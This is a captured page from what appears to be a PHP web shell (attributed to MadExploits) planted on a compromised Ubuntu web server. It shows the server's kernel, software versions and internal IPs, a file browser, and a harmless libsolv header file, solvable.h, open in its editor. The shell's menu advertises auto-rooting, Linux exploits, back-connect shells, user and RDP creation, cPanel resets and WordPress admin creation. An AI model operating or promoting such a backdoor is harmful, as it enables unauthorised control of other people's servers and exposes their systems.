Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
miniconda3 /
python /
include /
solv /
[ HOME SHELL ]
Name
Size
Permission
Action
bitmap.h
1.52
KB
-rw-rw-r--
chksum.h
1.16
KB
-rw-rw-r--
conda.h
638
B
-rw-rw-r--
dataiterator.h
4.99
KB
-rw-rw-r--
dirpool.h
1.67
KB
-rw-rw-r--
evr.h
815
B
-rw-rw-r--
hash.h
1.57
KB
-rw-rw-r--
knownid.h
13.69
KB
-rw-rw-r--
policy.h
1.7
KB
-rw-rw-r--
pool.h
13.77
KB
-rw-rw-r--
poolarch.h
1.21
KB
-rw-rw-r--
poolid.h
1.16
KB
-rw-rw-r--
pooltypes.h
1.06
KB
-rw-rw-r--
poolvendor.h
499
B
-rw-rw-r--
problems.h
2.65
KB
-rw-rw-r--
queue.h
2.41
KB
-rw-rw-r--
repo.h
7.85
KB
-rw-rw-r--
repo_conda.h
491
B
-rw-rw-r--
repo_solv.h
557
B
-rw-rw-r--
repo_write.h
1.93
KB
-rw-rw-r--
repodata.h
11.93
KB
-rw-rw-r--
rules.h
6.43
KB
-rw-rw-r--
selection.h
2.55
KB
-rw-rw-r--
solv_xfopen.h
553
B
-rw-rw-r--
solvable.h
3.87
KB
-rw-rw-r--
solver.h
17.66
KB
-rw-rw-r--
solverdebug.h
1.24
KB
-rw-rw-r--
solvversion.h
1.61
KB
-rw-rw-r--
strpool.h
1.44
KB
-rw-rw-r--
testcase.h
2.11
KB
-rw-rw-r--
tools_util.h
1.6
KB
-rw-rw-r--
transaction.h
4.75
KB
-rw-rw-r--
util.h
3.07
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : solvable.h
/* * Copyright (c) 2007-2012, Novell Inc. * * This program is licensed under the BSD license, read LICENSE.BSD * for further information */ /* * solvable.h * * A solvable represents an object with name-epoch:version-release.arch * and dependencies */ #ifndef LIBSOLV_SOLVABLE_H #define LIBSOLV_SOLVABLE_H #include "pooltypes.h" #include "queue.h" #include "bitmap.h" #ifdef __cplusplus extern "C" { #endif struct s_Repo; typedef struct s_Solvable { Id name; Id arch; Id evr; /* epoch:version-release */ Id vendor; struct s_Repo *repo; /* repo we belong to */ /* dependencies are offsets into repo->idarraydata */ /* the ifdef resolves "requires" conflicting with a C++20 keyword */ #ifdef LIBSOLV_SOLVABLE_PREPEND_DEP Offset dep_provides; /* terminated with Id 0 */ Offset dep_obsoletes; Offset dep_conflicts; Offset dep_requires; Offset dep_recommends; Offset dep_suggests; Offset dep_supplements; Offset dep_enhances; #else Offset provides; /* terminated with Id 0 */ Offset obsoletes; Offset conflicts; Offset requires; Offset recommends; Offset suggests; Offset supplements; Offset enhances; #endif } Solvable; /* lookup functions */ Id solvable_lookup_type(Solvable *s, Id keyname); Id solvable_lookup_id(Solvable *s, Id keyname); unsigned long long solvable_lookup_num(Solvable *s, Id keyname, unsigned long long notfound); unsigned long long solvable_lookup_sizek(Solvable *s, Id keyname, unsigned long long notfound); const char *solvable_lookup_str(Solvable *s, Id keyname); const char *solvable_lookup_str_poollang(Solvable *s, Id keyname); const char *solvable_lookup_str_lang(Solvable *s, Id keyname, const char *lang, int usebase); int solvable_lookup_bool(Solvable *s, Id keyname); int solvable_lookup_void(Solvable *s, Id keyname); const char *solvable_get_location(Solvable *s, unsigned int *medianrp); /* old name */ const char *solvable_lookup_location(Solvable *s, unsigned int *medianrp); const char *solvable_lookup_sourcepkg(Solvable *s); const unsigned char *solvable_lookup_bin_checksum(Solvable *s, Id keyname, Id *typep); const char *solvable_lookup_checksum(Solvable *s, Id keyname, Id *typep); int solvable_lookup_idarray(Solvable *s, Id keyname, Queue *q); int solvable_lookup_deparray(Solvable *s, Id keyname, Queue *q, Id marker); unsigned int solvable_lookup_count(Solvable *s, Id keyname); /* internal */ /* setter functions */ void solvable_set_id(Solvable *s, Id keyname, Id id); void solvable_set_num(Solvable *s, Id keyname, unsigned long long num); void solvable_set_str(Solvable *s, Id keyname, const char *str); void solvable_set_poolstr(Solvable *s, Id keyname, const char *str); void solvable_add_poolstr_array(Solvable *s, Id keyname, const char *str); void solvable_add_idarray(Solvable *s, Id keyname, Id id); void solvable_add_deparray(Solvable *s, Id keyname, Id dep, Id marker); void solvable_set_idarray(Solvable *s, Id keyname, Queue *q); void solvable_set_deparray(Solvable *s, Id keyname, Queue *q, Id marker); void solvable_unset(Solvable *s, Id keyname); int solvable_identical(Solvable *s1, Solvable *s2); Id solvable_selfprovidedep(Solvable *s); int solvable_matchesdep(Solvable *s, Id keyname, Id dep, int marker); int solvable_matchessolvable(Solvable *s, Id keyname, Id solvid, Queue *depq, int marker); /* internal */ int solvable_matchessolvable_int(Solvable *s, Id keyname, int marker, Id solvid, Map *solvidmap, Queue *depq, Map *missc, int reloff, Queue *outdepq); /* weird suse stuff */ int solvable_is_irrelevant_patch(Solvable *s, Map *installedmap); int solvable_trivial_installable_map(Solvable *s, Map *installedmap, Map *conflictsmap, Map *multiversionmap); int solvable_trivial_installable_queue(Solvable *s, Queue *installed, Map *multiversionmap); int solvable_trivial_installable_repo(Solvable *s, struct s_Repo *installed, Map *multiversionmap); #ifdef __cplusplus } #endif #endif /* LIBSOLV_SOLVABLE_H */
Close